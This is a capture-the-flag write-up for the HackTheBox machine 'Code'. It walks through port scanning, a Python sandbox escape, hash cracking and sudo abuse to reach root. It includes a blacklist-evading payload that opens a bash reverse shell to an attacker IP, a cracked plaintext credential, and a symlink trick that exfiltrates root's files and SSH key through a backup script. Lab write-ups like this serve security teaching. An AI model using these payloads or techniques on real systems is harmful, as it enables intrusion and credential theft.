Code Writeup

This HackTheBox machine displays a Python Code Editor application that has a Jail Break that is possible. After escaping the sandbox inside of the sqllite database file there is a credential for martin that can be cracked. Martin has access to run a command as sudo, and using this it is possible to escalate or just to copy the root flag in /root.

Enumeration

nmap -p- --min-rate=10000 -o portscan.nmap 10.10.11.62

Nmap scan report for 10.10.11.62
Host is up (0.087s latency).
Not shown: 65132 closed tcp ports (reset), 401 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 11.90 seconds

nmap -sC -sV -p 22,5000 -o scriptscan.nmap 10.10.11.62

Nmap scan report for 10.10.11.62
Host is up (0.073s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.03 seconds

Port 5000 contains a python sandbox, looks like this might be a python sandbox attack. Running some enumeration didn't result in anything else so focus was put on breaking out of this sandbox. After some attempts __builtins__ was found through the print function, then bypassing their blacklist was done through separating the text into small chunks that aren't catchable through simply looking for function calls.

print.__self__.__dict__['__impo'+'rt__']('o'+'s').__dict__['syst'+'em']('bash -c "/bin/bash -i >& /dev/tcp/10.10.16.6/9002 0>&1"')

Searching through the files there is a database.db file inside of the app's "instance" folder. Downloading this database, and then parsing it reveals 2 hashes. Cracking these hashes reveals the password for the martin user on the machine.

martin:nafeelswordsmaster

Privesc

Martin on this machine can run a program as root.

#Command
martin@code:~/.durge$ sudo -l

#Output
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

This program allows martin to backup a folder using root privileges. This script has some limitations though, only allowing for a user to backup folders inside of /home or /var. This can be bypassed by creating a symlink to the file with the ln command, and then using that link to access other folders. In this case the PoC code below shows the creation of a symlink within the "/home/martin/.durge" called link to the "/" or full disk directory. This is then used to grab the /root folder from the machine that is backed up.

echo '{' > task.json
echo '        "destination": "/home/martin/.durge/",' >> task.json
echo '        "multiprocessing": true,' >> task.json
echo '        "verbose_log": false,' >> task.json
echo '        "directories_to_archive": [' >> task.json
echo '                "/home/martin/.durge/link/root"' >> task.json
echo '        ],' >> task.json
echo '        "exclude": []' >> task.json
echo '}' >> task.json

ln -s / link

sudo /usr/bin/backy.sh task.json

(This was made because their cleanup script felt aggressive and I don't like restarting my PoC everytime it gets cleaned up by the scripts.)

This outputs a file called "code_home_martin_.durge_link_root_2025_March.tar.bz2" in that same folder, which can be extracted with the tar command

tar -xvjf code_home_martin_.durge_link_2025_March.tar.bz2

The files can then be found by following the extracted files, the flag being at 'home/martin/.durge/link/root/root.txt', and the ssh private key at 'home/martin/.durge/link/root/.ssh/id_rsa' if a root shell is desired.